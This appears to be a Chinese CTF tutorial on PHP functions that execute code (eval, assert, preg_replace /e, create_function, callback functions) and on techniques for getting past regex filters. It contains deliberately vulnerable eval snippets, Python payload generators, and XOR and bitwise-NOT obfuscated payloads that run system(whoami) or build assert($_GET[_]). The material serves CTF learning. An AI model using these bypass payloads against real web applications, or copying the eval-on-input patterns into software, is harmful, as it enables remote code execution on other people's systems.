一些CTF中php可利用的函数和一些正则表达式的绕过方法
参考浅谈PHP代码执行中出现过滤限制的绕过执行方法_php过滤绕过-CSDN博客
函数
代码执行函数
eval ( string $code ) : mixed
<?php
$cmd=$_POST['cmd'];
eval($cmd);
传参:cmd=phpinfo();
assert(mixed $assertion) : void
a s s e r t i o n 为真,返回值为 1 , assertion为真,返回值为1, assertion为真,返回值为1,assertion为假,触发一个 AssertionError
如果在 PHP.ini 文件中设置了zend.assertions选项为-1 或 1,那么assert()函数会生效;如果设置为 0,则 assert()函数不会执行
在PHP5或PHP7中,如果assertion是字符串,它将会被assert()当做PHP代码来执行
<?php
$cmd=$_POST['cmd'];
assert($cmd);
传参:cmd=phpinfo();或者phpinfo()
[PHP<7] preg_replace()+/e
preg_replace(mixed $pattern, mixed $replacement, mixed $subject, int $limit = -1, int &$count = null): mixed
$pattern: 要搜索的模式,可以是正则表达式字符串。
$replacement: 替换的内容,可以是字符串或者字符串数组。
$subject: 要搜索和替换的目标字符串或字符串数组。
$limit (可选): 指定每个模式匹配后替换的最大次数。默认为 -1,表示没有限制。
$count (可选): 如果提供了此参数,并且是一个变量引用,则会将替换的次数存储在这个变量中。
preg_replace() 函数会在 $subject 中搜索匹配 $pattern 的内容,然后用 $replacement 进行替换
如果pattern的模式修饰符使用/e,那么当subject被匹配成功时,replacement会被当做PHP代码执行
<?php
$cmd=$_POST['cmd'];
$content="aaab";
preg_replace("/aaa/e",$cmd,$content);
传参:cmd=phpinfo();
create_function(string $args, string $code):Closure|false
返回一个匿名函数(Closure),或者在出错时返回 false
<?php
$myFunction = create_function('$a, $b', 'return $a + $b;');
echo $myFunction(2, 3); // 输出 5
构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行
create_function()函数已经在 PHP 7.2 版本中被废弃,并且在 PHP 7.4 版本中已经移除
<?php
$arg=$_POST['arg'];
$code='echo'.' '.$arg.';';
$func=create_function('$arg',$code);
echo $func($arg);
传参:arg=phpinfo()
复杂一点:
<?php
$arg=$_POST['arg'];
$code='echo'.$arg.'extraContent'.';';
$func=create_function('$arg',$code);
传参:arg='';}phpinfo();//
可回调函数
array_map(callable $callback, array a r r a y 1 , a r r a y . . . array1, array ... array1,array...array2): array
$callback: 要应用到每个数组元素的回调函数。
$array1: 要处理的第一个数组。
$array2, $array3, ... (可选): 可以指定多个数组参数,如果提供了多个数组参数,那么回调函数的参数列表将会按顺序从这些数组中取值。
例如:
<?php
function square($a1,$a2) {
return $a1 * $a2;
}
$arr1 = [1, 2, 3, 4, 5];
$arr2 = [6,7,8,9,10];
$result = array_map('square' ,$arr1,$arr2);
print_r($result);
#输出:Array ( [0] => 6 [1] => 14 [2] => 24 [3] => 36 [4] => 50 )
php版本<=7.0.9,可以执行以下操作
<?php
$cmd = $_POST['cmd'];
$arg = $_POST['arg'];
array_map($cmd,$arg);
传参:cmd=assert&arg[]=phpinfo()
call_user_func(callable $callback [, mixed $parameter [, mixed $…]]) : mixed
$callback: 必需,表示要调用的回调函数,可以是一个函数名的字符串、数组(包含对象实例和方法名)、闭包等形式。
$parameter: 可选,表示传递给回调函数的参数,可以有多个参数,按顺序传入。
返回值:call_user_func() 函数会执行回调函数,并返回其返回值。
例如:
function myFunction($arg1, $arg2) {
return $arg1 + $arg2;
}
$result = call_user_func('myFunction', 2, 3);
echo $result;
#输出:5
用法
#不含参数
<?php
$cmd=$_POST['cmd'];
call_user_func($cmd);
传参:cmd=phpinfo
#含参数
<?php
$func=$_POST['func'];
$arg=$_POST['arg'];
call_user_func($func,$arg);
传参:func=assert&arg=phpinfo();
call_user_func_array ( callable $callback , array $param_arr ) : mixed
$callback:表示要调用的回调函数,可以是一个函数名的字符串、对象方法的数组([对象, 方法])或者闭包。
$param_arr:包含传递给回调函数的参数的数组。
返回值:call_user_func_array() 函数执行回调函数并返回其结果
例如:
<?php
function sum($a, $b) {
return $a + $b;
}
$params = [2, 3];
$result = call_user_func_array('sum', $params);
echo $result;
#输出:5
用法
<?php
$func=$_POST['func'];
$arg=$_POST['arg'];
call_user_func_array($func,$arg);
传参:func=assert&arg[]=phpinfo();
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ):array
$array:必需,输入的数组。
$callback:可选,用于过滤数组的回调函数。如果指定了回调函数,数组中的每个元素将被传递给回调函数进行评估。如果回调函数返回 true,则保留该元素;否则剔除该元素。
$flag:可选,指定传递给回调函数的参数数量。默认情况下,回调函数将接受单个参数(数组中的元素),但如果设置了 flag 参数为 ARRAY_FILTER_USE_BOTH,回调函数将接受两个参数(元素和键)。
例如:
<?php
$array = [1, 2, 3, 4, 5];
$filteredArray = array_filter($array, function($value) {
return $value % 2 == 0;
});
print_r($filteredArray);
#输出:Array ( [1] => 2 [3] => 4 )
用法
<?php
$func=$_POST['func'];
$arg=$_POST['arg'];
array_filter($arg,$func);
传参:arg[]=phpinfo()&func=assert
usort ( array &$array , callable $value_compare_func ) : bool
$array:要排序的数组,传递给函数时会被改变。
$value_compare_func:用于比较数组元素的回调函数。该函数应当接受两个参数,比较它们的大小并返回一个整数值:
如果第一个参数小于第二个参数,则返回小于 0 的值;
如果第一个参数等于第二个参数,则返回 0;
如果第一个参数大于第二个参数,则返回大于 0 的值。
例如:
<?php
$array = [4, 2, 1, 3];
// 自定义比较函数,按照数字大小升序排序
function compare($a, $b) {
if ($a == $b) {
return 0;
}
return ($a < $b) ? -1 : 1;
}
// 使用 usort 进行排序
usort($array, 'compare');
print_r($array);
#输出:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
用法
当PHP < 5.6时
<?php
$cmd=$_POST['cmd'];
usort($cmd,'assert');
传参:cmd[0]=1&cmd[1]=phpinfo();
当PHP >= 5.6 & PHP < 7时,php有一个参数变长特性
<?php
usort(...$_GET);
传参:?1[0]=1&1[1]=phpinfo()&2=assert
绕过
字符串拼接绕过
字符串拼接绕过适用于绕过过滤具体关键字的限制
适用PHP版本:PHP>=7
<?php
$cmd=$_POST['cmd'];
if(isset($cmd)){
if(preg_match('/phpinfo|system/i',$cmd)){
die('No Hack!');
}else{
eval($cmd);
}
}else{
echo 'Welcome!';
}
传参:cmd=(p.hpinfo)();
或cmd=(p.h.p.i.n.f.o)();
或cmd=(sy.(st).em)(whoami);
或cmd=(sy.(st).em)("whoami");
或...
#在PHP中不一定需要引号(单引号/双引号)来表示字符串。
#PHP支持我们声明元素的类型,比如$name = (string)hahaha;
#此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理
字符串转义绕过
适用PHP版本:PHP>=7
在 PHP 中,八进制表示的转义字符以反斜杠(\
)开头,后面跟着一个或多个八进制数字来表示ASCII字符
在 PHP 中,你可以使用 \x
后面跟着一个或多个十六进制数字来表示字符的十六进制值
在 PHP 中,你可以使用 Unicode 转义序列来表示字符的 Unicode 编码点。Unicode 转义序列以 \u{xxxx}
的形式来表示,其中 xxxx
是字符的 Unicode 编码点,可以是一个或多个十六进制数字
python代码
# 字符转义
def escapeChar(payload):
oct_escapeChar=''
hex_escapeChar=''
uni_escapeChar=''
for i in payload:
ord_char=ord(i) # 十进制字符
oct_char=oct(ord_char) # 转成八进制字符 0o...
hex_char=hex(ord_char) # 转成十六进制字符 0x...
oct_escapeChar+='\\'+oct_char[2:]
hex_escapeChar+='\\x'+hex_char[2:]
uni_escapeChar+='\\u{{{0}}}'.format(hex_char[2:])
print("八进制:",oct_escapeChar)
print("十六进制:",hex_escapeChar)
print("Unicode:",uni_escapeChar)
if __name__=='__main__':
payload='phpinfo'
escapeChar(payload)
#输出:
#八进制: \160\150\160\151\156\146\157
#十六进制: \x70\x68\x70\x69\x6e\x66\x6f
#Unicode: \u{70}\u{68}\u{70}\u{69}\u{6e}\u{66}\u{6f}
另外,八进制的方法可以绕过无字母传参进行代码执行
payload='system("whoami")'
八进制: \163\171\163\164\145\155\50\42\167\150\157\141\155\151\42\51
十六进制: \x73\x79\x73\x74\x65\x6d\x28\x22\x77\x68\x6f\x61\x6d\x69\x22\x29
Unicode: \u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}\u{28}\u{22}\u{77}\u{68}\u{6f}\u{61}\u{6d}\u{69}\u{22}\u{29}
多次传参绕过
适用PHP版本:无限制
如果过滤了引号(单引号/双引号),可以通过以下方法绕过
<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(isset($cmd)){
if(preg_match('/eval|system|exec|passtru|[\"\']/i',$cmd)){
die('No Hack!');
}else{
eval($cmd);
}
}else{
echo 'Welcome!';
}
传参:cmd=$_GET[1]($_GET[2]);
并且:http://127.0.0.1:7788/test.php?1=system&2=whoami
或者传参:cmd=$_POST[1]($_POST[2]);&1=system&2=whoami
内置函数访问绕过
get_defined_functions(bool $exclude_disabled = true): array
详见:PHP: get_defined_functions - Manual
参数:exclude_disabled 禁用的函数是否应该在返回的数据里排除。
返回值:返回数组,包含了所有已定义的函数,包括内置/用户定义的函数。
可通过 $arr["internal"] 来访问系统内置函数,通过 $arr["user"] 来访问用户自定义函数
例如:
<?php
function A(){return "A";}
function B(){return "B";}
function C(){return "C";}
$arr = get_defined_functions();
// print_r($arr["internal"]);
print_r($arr["user"]);
#输出:Array ( [0] => a [1] => b [2] => c )
每个版本的get_defined_functions()返回的值都是不一样的
以php7.0.9为例
[283] => phpinfo
[373] => system
<?php
highlight_file(__FILE__);
$cmd=$_POST['cmd'];
if(isset($cmd)){
if(preg_match('/eval|system|exec|passtru|[\"\']/i',$cmd)){
die('No Hack!');
}else{
eval($cmd);
}
}else{
echo 'Welcome!';
}
传参:cmd=get_defined_functions()[internal][283](); #执行phpinfo();
传参:cmd=get_defined_functions()[internal][373](whoami); #执行system(whoami);
异或绕过
适用PHP版本:无限制
在PHP中两个字符串异或之后,得到的还是一个字符串。
例如:
a = '?'
b = '~'
result = ord(a) ^ ord(b)
print(chr(result))
#输出:A
例题:
<?php
highlight_file(__FILE__);
if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
echo "hacker!!";
}else{
eval($_GET['shell']);
}
过滤了所有英文字母和数字
,但是我们知道ASCII码中还有很多字母数字之外的字符
,利用这些字符进行异或可以得到我们想要的字符
取ASCII表中非字母数字的其他字符,要注意有些字符可能会影响整个语句执行,所以要去掉如:反引号,单引号
python脚本:
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制
def xor(payload):
for char in payload:
for i in strlist:
for j in strlist:
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
j = '%{:0>2}'.format(hex(j)[2:])
print("('{0}'^'{1}')".format(i,j),end=".")
break
else:
continue
break
if __name__=='__main__':
payload='assert'
xor(payload)
构造assert($_GET[]);
过程:
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
//$_='assert';
$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');
//$__='_GET';
$___=$$__;
//$___='$_GET';
$_($___[_]);
//assert($_GET[_]);
最终payload:
?shell=$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();
当过滤字符的范围没有那么大,或者只是过滤关键字的时候可以使用如下脚本
import string
char = string.printable
def xor(payload):
tmp1,tmp2 = '',''
for res in payload:
for i in char:
for j in char:
if(ord(i)^ord(j) == ord(res)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("('{}'^'{}')".format(tmp1,tmp2))
if __name__=='__main__':
payload='system'
xor(payload)
例题:
<?php
$cmd=$_POST['cmd'];
if(isset($cmd)){
if(preg_match('/phpinfo/is',$cmd)){
die('No Hack!');
}else{
eval($cmd);
}
}else{
echo 'Welcome!';
}
假设构造phpinfo
传参:cmd=('0000000'^'@X@Y^V_')();
URL编码取反绕过
适用PHP版本:无限制
用于GET传参请求
<?php
echo urlencode(~'phpinfo');
#输出:%8F%97%8F%96%91%99%90
<?php
highlight_file(__FILE__);
if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
echo "hacker!!";
}else{
eval($_GET['shell']);
}
构造payload:?shell=(~%8F%97%8F%96%91%99%90)();
对于有参数的
<?php
echo urlencode(~'system');
echo '<br>';
echo urlencode(~'whoami');
#输出:%8C%86%8C%8B%9A%92
# %88%97%90%9E%92%96
构造payload:?shell=(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
当5<=PHP<=7.0.9时,需要再执行一次构造出来的字符,所以参考上面那种异或拼接的方法
$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);
构造payload:?shell=$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
添加POST参数:_=phpinfo()